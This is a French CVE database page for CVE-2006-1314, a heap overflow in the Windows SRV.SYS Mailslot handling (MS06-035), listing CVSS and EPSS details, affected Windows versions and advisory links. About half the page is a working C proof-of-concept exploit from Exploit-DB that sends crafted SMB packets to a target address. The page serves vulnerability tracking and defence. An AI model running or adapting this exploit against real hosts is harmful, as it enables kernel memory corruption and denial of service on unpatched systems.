CVE-2006-1314 : Détail

CVE-2006-1314

75.84%V4
Network
2006-07-11
19h00 +00:00
2018-10-18
12h57 +00:00
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

Heap-based buffer overflow in the Server Service (SRV.SYS driver) in Microsoft Windows 2000 SP4, XP SP1 and SP2, Server 2003 up to SP1, and other products, allows remote attackers to execute arbitrary code via crafted first-class Mailslot messages that triggers memory corruption and bypasses size restrictions on second-class Mailslot messages.

Informations du CVE

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 7.5 AV:N/AC:L/Au:N/C:P/I:P/A:P nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Informations sur l'Exploit

Exploit Database EDB-ID : 2057

Date de publication : 2006-07-20 22h00 +00:00
Auteur : cocoruder
EDB Vérifié : Yes

#include <stdio.h> #include <windows.h> #include <winsock.h> /******************************************************************* Microsoft SRV.SYS Mailslot Ring0 Memory Corruption(MS06-035) Exploit by cocoruder(frankruder_at_hotmail.com),2006.7.19 page:http://ruder.cdut.net *******************************************************************/ unsigned char SmbNeg[] = "\x00\x00\x00\x2f\xff\x53\x4d\x42\x72\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x88\x05\x00\x00\x00\x00\x00\x0c\x00\x02\x4e\x54" "\x20\x4c\x4d\x20\x30\x2e\x31\x32\x00"; unsigned char Session_Setup_AndX_Request[]= "\x00\x00\x00\x48\xff\x53\x4d\x42\x73\x00" "\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\xff\xff\x88\x05\x00\x00\x00\x00\x0d\xff\x00\x00\x00\xff" "\xff\x02\x00\x88\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x01\x00\x00\x00\x0b\x00\x00\x00\x6e\x74\x00\x70\x79\x73\x6d" "\x62\x00"; unsigned char TreeConnect_AndX_Request[]= "\x00\x00\x00\x58\xff\x53\x4d\x42\x75\x00" "\x00\x00\x00\x18\x07\xc8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\xff\xfe\x00\x08\x00\x03\x04\xff\x00\x58\x00\x08" "\x00\x01\x00\x2d\x00\x00\x5c\x00\x5c\x00\x31\x00\x37\x00\x32\x00" "\x2e\x00\x32\x00\x32\x00\x2e\x00\x35\x00\x2e\x00\x34\x00\x36\x00" "\x5c\x00\x49\x00\x50\x00\x43\x00\x24\x00\x00\x00\x3f\x3f\x3f\x3f" "\x3f\x00"; unsigned char Trans_Request[]= "\x00\x00\x00\x56\xff\x53\x4d\x42\x25\x00" "\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x08\x88\x05\x00\x08\x00\x00\x11\x00\x00\x01\x00\x00" "\x04\xe0\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x55" "\x00\x01\x00\x55\x00\x03\x00\x01\x00\x00\x00\x00\x00\x11\x00\x5c" "\x4d\x41\x49\x4c\x53\x4c\x4f\x54\x5c\x4c\x41\x4e\x4d\x41\x4e\x41"; unsigned char recvbuff[2048]; void neg ( int s ) { char response[1024]; memset(response,0,sizeof(response)); send(s,(char *)SmbNeg,sizeof(SmbNeg)-1,0); } void main(int argc,char **argv) { struct sockaddr_in server; SOCKET sock; DWORD ret; WSADATA ws; WORD userid,treeid; WSAStartup(MAKEWORD(2,2),&ws); sock = socket(AF_INET,SOCK_STREAM,0); if(sock<=0) { return; } server.sin_family = AF_INET; server.sin_addr.s_addr = inet_addr(argv[1]); server.sin_port = htons((USHORT)atoi(argv[2])); ret=connect(sock,(struct sockaddr *)&server,sizeof(server)); if (ret==-1) { printf("connect error!\n"); return; } neg(sock); recv(sock,(char *)recvbuff,sizeof(recvbuff),0); ret=send(sock,(char *)Session_Setup_AndX_Request,sizeof(Session_Setup_AndX_Request)-1,0); if (ret<=0) { printf("send Session_Setup_AndX_Request error!\n"); return; } recv(sock,(char *)recvbuff,sizeof(recvbuff),0); userid=*(WORD *)(recvbuff+0x20); //get userid memcpy(TreeConnect_AndX_Request+0x20,(char *)&userid,2); //update userid ret=send(sock,(char *)TreeConnect_AndX_Request,sizeof(TreeConnect_AndX_Request)-1,0); if (ret<=0) { printf("send TreeConnect_AndX_Request error!\n"); return; } recv(sock,(char *)recvbuff,sizeof(recvbuff),0); treeid=*(WORD *)(recvbuff+0x1c); //get treeid memcpy(Trans_Request+0x20,(char *)&userid,2); //update userid memcpy(Trans_Request+0x1c,(char *)&treeid,2); //update treeid ret=send(sock,(char *)Trans_Request,sizeof(Trans_Request)-1,0); if (ret<=0) { printf("send Trans_Request error!\n"); return; } recv(sock,(char *)recvbuff,sizeof(recvbuff),0); } // milw0rm.com [2006-07-21]

Products Mentioned

Configuraton 0

Microsoft>>Windows_2000 >> Version *

Microsoft>>Windows_2003_server >> Version 64-bit

Microsoft>>Windows_2003_server >> Version itanium

Microsoft>>Windows_2003_server >> Version r2

Microsoft>>Windows_2003_server >> Version sp1

Microsoft>>Windows_2003_server >> Version sp1

Microsoft>>Windows_xp >> Version *

Microsoft>>Windows_xp >> Version *

Microsoft>>Windows_xp >> Version *

Références

http://www.kb.cert.org/vuls/id/189140
Tags : third-party-advisory, x_refsource_CERT-VN
http://www.vupen.com/english/advisories/2006/2753
Tags : vdb-entry, x_refsource_VUPEN
http://www.osvdb.org/27154
Tags : vdb-entry, x_refsource_OSVDB
http://secunia.com/advisories/21007
Tags : third-party-advisory, x_refsource_SECUNIA
http://securityreason.com/securityalert/1212
Tags : third-party-advisory, x_refsource_SREASON
http://www.securityfocus.com/bid/18863
Tags : vdb-entry, x_refsource_BID
http://www.us-cert.gov/cas/techalerts/TA06-192A.html
Tags : third-party-advisory, x_refsource_CERT